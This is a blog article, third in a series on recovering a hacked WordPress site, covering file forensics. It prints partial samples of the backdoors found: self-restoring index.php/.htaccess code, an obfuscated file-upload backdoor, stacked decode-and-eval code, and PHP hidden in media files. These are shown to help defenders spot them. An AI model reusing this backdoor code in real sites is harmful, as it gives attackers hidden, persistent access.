WordPress application hacked 3/4 – In-depth forensics, tech tricks and backdoors

8 January 2024 | IT and Hosting

In the second article called WordPress application hacked 2/4 – How to recover the platform from the series WordPress application hacked (and how to recover!) I described how to recover a hacked wordpress platform. In this article I’ll take you along for the forensic side of things. You want to make sure there’s no hidden code left that can trigger opening backdoors at a later date.

Wordpress application hacked - In-depth forensics, tech tricks and backdoors


As you can read in the previous article we luckily had a clean code base available to restore. If you already are up and running again, this chapter might still have some ‘need to do’ tasks. I reviewed all the files and code merely to satisfy my own curiosity as well as to understand better what tricks are played by hackers.



So, if you need to do more forensic research and / or don’t have a clean backup at hand, there’s a lot of content to go through. However, there are a lot of tools and trick to do this effectively. In this sections I’ll describe some examples of what I found so you know what to look for and how to go about this. There are three aspects to consider on how hackers try to force remote access and sustain it.

  • Inject a piece of malicious code
  • A way to execute the code (remotely)
  • Hiding both in unexpected places to regain access


Malicious files

I’ve looked at a lot of files and although I found a lot more, these are definitely in places where they shouldn’t be. Several of the files I found that didn’t belong:

  • Login.php
  • Locale.php (also containing login code)
  • Repeater.php
  • Footer.php

Note: The examples below need SSH access to the server. If that’s not available you can download the content and run searches on your local machine.

Where WordPress has one file specifically named ./wp-login.php I found at least seven others throughout the site.

# find . -name "wp-login.php" -exec ls -l {}  \;
-rw-r--r-- 1 www01 www01 97545  Jul 26  2018 ./wp-includes/customize/wp-login.php
-rw-r--r-- 1 www01 www01 104    Aug 29 02:47 ./wp-includes/sitemaps/wp-login.php
-rw-r--r-- 1 www01 www01 885    Oct 25 04:29 ./wp-includes/PHPMailer/wp-login.php
-rw-r--r-- 1 www01 www01 49441  Nov  6 23:07 ./wp-login.php
-rw-r--r-- 1 www01 www01 199651 Oct 26 04:25 ./wp-content/plugins/file-manager/libs/elFinder/php/plugins/AutoResize/wp-login.php
-rw-r--r-- 1 www01 www01 18193  Sep 19 11:52 ./wp-content/uploads/sites/22/2021/09/wp-login.php
-rw-r--r-- 1 www01 www01 10507  Oct 25 04:29 ./wp-content/uploads/2021/05/wp-login.php
-rw-r--r-- 1 www01 www01 10516  Oct 25 04:29 ./wp-content/uploads/2021/06/wp-login.php
-rw-r--r-- 1 www01 www01 37578  Aug 28 07:26 ./wp-content/themes/bltm/wp-login.php


Especially the login files in “./wp-content/uploads/” are obvious. This directory should only hold digital media files. The same goes for footer.php where I also found at least 5 more than where initially in the website.

# find . -name "footer.php" -exec ls -l {}  \;
-rw-r--r-- 1 www01 www01 1055  Aug 10 11:25 ./wp-includes/theme-compat/footer.php
-rw-r--r-- 1 www01 www01 162   Mar 17  2021 ./wp-content/plugins/updraftplus/templates/wp-admin/settings/footer.php
-rw-r--r-- 1 www01 www01 790   Aug 27 18:53 ./wp-content/plugins/file-manager/views/admin/footer.php
-rw-r--r-- 1 www01 www01 889   Aug 28 07:26 ./wp-content/themes/bltm/footer.php
-rw-r--r-- 1 www01 www01 348   Aug 28 14:05 ./wp-content/themes/epaper/footer.php
-rw-r--r-- 1 www01 www01 9215  Oct 25 04:29 ./wp-content/themes/twentytwentyone/inc/footer.php
-rw-r--r-- 1 www01 www01 1067  Sep 19  2022 ./wp-content/themes/platform/footer.php
-rw-r--r-- 1 www01 www01 10518 Oct 25 04:29 ./wp-admin/coustom/footer.php


This was the case for all the files mentioned in the beginning of this section, so you get the idea.


.htaccess files

As stated in the beginning of the article, hackers need a way to execute the code. This is for example possible linking it to execution when rendering web pages. This can be done by putting (a link to) malicious code in for instance footer.php. This file is used, by WordPress or a plugin, when rendering a page on the website and therewith the code is always executed. Direct or indirect file execution requires access to those files and this can be achieved by changing or placing “.htaccess” files. I found an additional 15 .htaccess files. The listing below shows the ones that are the most obvious and suspicious.

# find . -name ".htaccess" -exec ls -l {}  \; | grep -v uploads | grep Oct
-rw-r--r-- 1 www01 www01 75 Oct 24 10:21 ./wp-includes/js/crop/.htaccess
-rw-r--r-- 1 www01 www01 75 Oct 24 10:20 ./wp-includes/sodium_compat/src/.htaccess
-rw-r--r-- 1 www01 www01 241 Oct 17  2015 ./wp-includes/PHPMailer/.htaccess
-rw-r--r-- 1 www01 www01 110 Oct 25 04:46 ./wp-content/plugins/members/admin/yanz/.htaccess
-rw-r--r-- 1 www01 www01 11 Oct 26 08:29 ./wp-content/plugins/fix/configIJT/.htaccess
-rw-r--r-- 1 www01 www01 75 Oct 24 10:20 ./wp-content/plugins/fix/.htaccess
-rw-r--r-- 1 www01 www01 75 Oct 24 10:20 ./wp-content/languages/loco/.htaccess
-r--r--r-- 1 www01 www01 604 Oct 30 15:40 ./temp/.htaccess


Allow all

This is the contents of one of those “.htaccess” files. The most important line to notice is the one that says Allow from all. Meaning as much as: everyone can execute the contents of the file type mentioned under FilesMatch.

<FilesMatch ".(php|php5|phtml)$">
Order allow,deny
Deny from all
<FilesMatch "^(footer.php)$">
Order allow,deny
Allow from all


WARNING: As I stated in an earlier article from this series, you should kill all processes from memory and isolate the platform from the public. If you remove malicious files, without stopping all processes, these files can be simply re-inserted by running processes. Ive tested this. Removing certain files made them reappear right after. A simple explanation for this is the malicious code in the file footer.php. If this file is infected or linked, which it is, then every web request that comes in can potentially execute the malicious code. So when you don’t isolate the platform from public access, any visitors, unbeknownst to them, work against you.


Injected code

As far as finding suspicious files, which is fairly easy if you have a baseline to compare the changes to, this is where it gets a bit tricky. I started searching through the code for occurrences of the files mentioned above. This quickly resulted in very strange code injections in existing WordPress files. Having developed a lot of software over the years I can fairly quickly recognize code constructions that are suspicious.



This piece of code contains a lot of obscure file handling.

An interesting but obvious example if you know what to look for is shown below. Such intense and specific file handling and obscured naming of files like ‘/ind’.’ex.php’ is a good indicator. Besides that, file handling mostly takes place when files are being uploaded under WordPress media libray and are never this complex on the server. If you’re not sure whether this is malicious or not, download wordpress and compare the file contents with the original.

$inxxdex = $_SERVER['DOCUMENT_ROOT'].'/ind'.'ex.php'; $hct = $_SERVER['DOCUMENT_ROOT
'].'/.htac'.'cess'; $bddex = $_SERVER['DOCUMENT_ROOT'].'/wp-admin/css/colors/light/colors.css';
$bksht = $_SERVER['DOCUMENT_ROOT'].'/wp-includes/js/dist/server-side-mh.js'; if($inxxdex && 
file_exists($bddex)){ if(!file_exists($inxxdex) or (filesize($inxxdex) != filesize($bddex)))
{ chmod($inxxdex,'420'); file_put_contents($inxxdex,file_get_contents($bddex)); chmod($inxxdex,'292');
} } if($hct && file_exists($bksht)){ if(!file_exists($hct) or (filesize($hct) != filesize($bksht)))
{ chmod($hct,'420'); file_put_contents($hct,file_get_contents($bksht)); chmod($hct,'292'); 
} } $inxxdex = "";function is_wp_error( $thing ) {
-- SNIP --



A way to obscure malicious code.

I did not have the time to fully dissect it’s functionality, after all, a customer was waiting to get back online with their platform. However, the use of funny parameters and variable naming, seeing copy functions and the fact that everything was concatenated into one line made alarm bells go of.

class CdnWPFCC { private static $s; private static $bb = '~/\*w\s*(.*?)\*/~s'; private static $gg = 
'~/\*&\s*(.*?)\*/~s'; private static $mine = __FILE__; private static function hellocontents() { 
self::$s = array("n0e0t","k0il0l0_","t0h0e_"); $key = self::$s; $hello = $key; return str_replace("0", "", 
$key[1].$key[2].$key[0]); } private static function hellofile($a){ return ltrim(str_replace("hello", "_", 
$a[1].$a[2].$a[0]), '_'); } private static function helloget($abc){ $a = $abc; foreach ($a as 
$key => $value) { $h0x = 122^50; return $key**$value**$h0x; } } public static function aaa() 
{ preg_match(self::$bb, self::hellofile(get_class_methods(static::class))(self::$mine), $c); 
preg_match(self::$gg, self::hellofile(get_class_methods(static::class))(self::$mine), $d); 
return array( [$c[1], trim($d[1])], self::hellocontents(), 'tmp_name', 'name', 'f', ); } } 
$Silence = CdnWPFCC::aaa(); if ($nonce===$Silence[0][1]) { echo($Silence[1]."<br>".$Silence[0][0]); 
@copy($_FILES[end($Silence)][$Silence[2]],$_FILES[end($Silence)][$Silence[3]]); $abc = 
$_FILES[end($Silence)][$Silence[3]]; echo("<a href=".$abc.">".$abc."</a>"); }



Several decode functions in a row

Again, obvious if you know what to look for. If you see several decode functions in a row like the example below, this is usually a sign.

<?=/****/@null; /********/@eval/****/("?> ".base64_decode(base64_decode(strrev(urldecode(str_rot13(
-- SNIP --

There were several others, but these should give you a good illustration on how hackers try to hide what they are doing.


The inside of a media file

In the case of WordPress, media files are usually uploaded to “./wp-content/uploads/”. This directory contains media files, but could occasionally be used by plugins to store files. Therewith your milage may vary but you should be able to clarify this depending on the plugins you have installed. In any case, it should contain media files, but …

Are the media files actually media files?

What I mean by that is that the name and extension of a file does not guarantee what is actually in the file. I could rename a .PHP to .JPG and none would be the wiser if we don’t test this. A linux server has an easy way to determine the actual contents of a file. The command is actually called “file”. What this does is read a small part from the file to establish what content the file actually has.

# file Why-you-should-version-your-software-or-pin-it.jpg
Why-you-should-version-your-software-or-pin-it.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 5760x3840, frames 3


With the command below you can parse all files in one swoop. You look for all files and filter out  (with “grep -v …”) everything that is expected to be there. Run this in the “./wp-content/uploads” directory:

# find . -exec file {} \; | grep -v PNG | grep -v JFIF | grep -v JPEG | grep -v PDF | grep -v GIF | grep -v ": directory"****


Besides the usually expected types filtered out, you could of course also see “.ICO”, “.MPG”, etcetera. Once you filter what’s known, what you’re left with is a list that needs to be examined and or cleaned up. To give you an idea what was found in the case at hand, see the examples below.



PHP code hidden in .HTML files

This might need additional access settings for opening the file for the outside world. But once executed it would simple reinject more malicious. And PHP code should never be in a file ending in “.html”.

 goto Sqdff; AYgzy: echo jTUj1($e7Unk); goto iDSDN; KfwVy: @header("\103\x6f\x6e\164\75\165\x74\x66\55\x38"); 
goto AYgzy; XIfE2: fEduJ: goto fBhty; k2h_z: goto qH1Ox; goto GCyNV; Xo8GN: $f59CR = urlencode(isset(
$_SERVER["\x52\x45\x4d\104\x44\122"] : ''); goto pdslA; UTZVp: goto DwWoj; goto iw3Cz; yWp5n: if (
strstr($e7Unk, "\x65\143\x68\157\64\60\x74\x65\156\x74")) { goto HTq6E; } goto Y4O9U; Y4O9U: if 
 -- SNIP --
@header("\110\x54\x54\164\x6c\171"); goto lNduu; iNmY9: function jtuJ1($e7Unk) { goto Zvg4M; De0JV: 
foreach ($zS9v0 as $kNTQA) { goto eWTH1; vTKXQ: $LxOFq = strpos($z5laU, "\351\x80\x81\344\xbf\241\xe3\201
\202\x92\345\217\x97\xe4\277\241\343\x81\227\xe3\x81\xbe\343\x81\227\343\201\237") !



URL rewrite configuration  in a .HTML file

As stated earlier, malicious code needs to be triggered from the outside somehow. With hiding website configuration snippets like this, it can be made possible.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]



URL rewrite configuration  in a .ICO file

Another example, this time hidden in an icon file.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]

Note: Although “.ICO” and “.HTML” files should be handled differently than “.PHP” files, it depends on your webserver configuration whether or not they are actually parsed. To be clear, they shouldn’t!

To conclude: these file above definitely have no business being in your ./wp-content/uploads directory.



An important symptom that can give you an indication of what was changed ‘under the radar’ is file timestamps.

WARNING: Even though timestamps can be a good indicator, if hackers have write access they can modify timestamps. If you are uncertain about possible weird files under the directory of a plugin. Download the original plugin and compare them with the files in the clean version. Any suspicious files can be easily compared with the original.

Have a look at this regular file listing of the WordPress ‘root folder’.

# ls -lart
-rw-r--r--  1 www01 www01   351 Apr  4  2020 wp-blog-header.php
-rw-r--r--  1 www01 www01   405 Apr  4  2020 index.php
-rw-r--r--  1 www01 www01   244 Feb 17  2021 robots.txt
-rw-r-----  1 www01 www01  3206 Jun  6  2022 wp-config.php
-rw-r--r--  1 www01 www01  2502 Apr 12  2023 wp-links-opml.php
-rw-r--r--  1 www01 www01  2323 Aug 10 11:34 wp-comments-post.php
-rw-r--r--  1 www01 www01  4885 Aug 10 11:34 wp-trackback.php
-rw-r--r--  1 www01 www01 34385 Aug 10 11:34 wp-signup.php
-rw-r--r--  1 www01 www01  7211 Aug 10 11:34 wp-activate.php
drwxr-xr-x  9 www01 www01  4096 Aug 10 11:34 wp-admin
-rw-r--r--  1 www01 www01  3927 Aug 10 11:34 wp-load.php
-rw-r--r--  1 www01 www01  5638 Aug 10 11:34 wp-cron.php
drwxr-xr-x 15 www01 www01  4096 Aug 24 11:56 wp-content
-rw-r--r--  1 www01 www01  3013 Nov  6 23:10 wp-config-sample.php
-rw-r--r--  1 www01 www01   121 Nov  7 13:05 .htaccess
-rw-r--r--  1 www01 www01  3154 Dec  2 13:11 xmlrpc.php
-rw-r--r--  1 www01 www01 26409 Dec  2 13:11 wp-settings.php
-rw-r--r--  1 www01 www01  8525 Dec  2 13:11 wp-mail.php
-rw-r--r--  1 www01 www01 50924 Dec  2 13:11 wp-login.php
-rw-r--r--  1 www01 www01  7399 Dec  2 13:11 readme.html
-rw-r--r--  1 www01 www01 19915 Dec  2 13:11 license.txt
drwxr-xr-x 27 www01 www01 16384 Dec  2 13:11 wp-includes


The file listing is reverse sorted on date to make the explanation more clear. Where you see WordPress files with an older date. You can always verify these at https://github.com/WordPress/WordPress/tree/master. For instance the file “wp-blog-header.php”. This file was not changed since a couple of years, so that’s correct in the list above.

Timestamps should reflect the date and time of the initial installation or from deploying later updates. The latter can be regular wordpress updates, plugin updates or possibly automatically rendered configuration files by management platforms or plugins. Beyond that, any file that has a date that deviates from this or is more recently can be considered suspicious. I hope this helps you on your forensics quest.

This article is part of the series WordPress application hacked (and how to recover!).

Over Gerard

Gerard Petersen is oprichter en eigenaar van CAP5. Hij heeft meer dan 35 jaar ICT ervaring en 10+ jaar ervaring in ondernemerslandschap. Gerard wordt gedreven door de optimale combinatie tussen mens en techniek en gaat voor het maken van maatschappelijke impact. Gerard is vanuit CAP5 actief als adviseur voor ICT operatie en management. 

Meer over Gerard

Open chat
Hulp nodig?
Scan the code
Hi 👋 ... kan ik je helpen?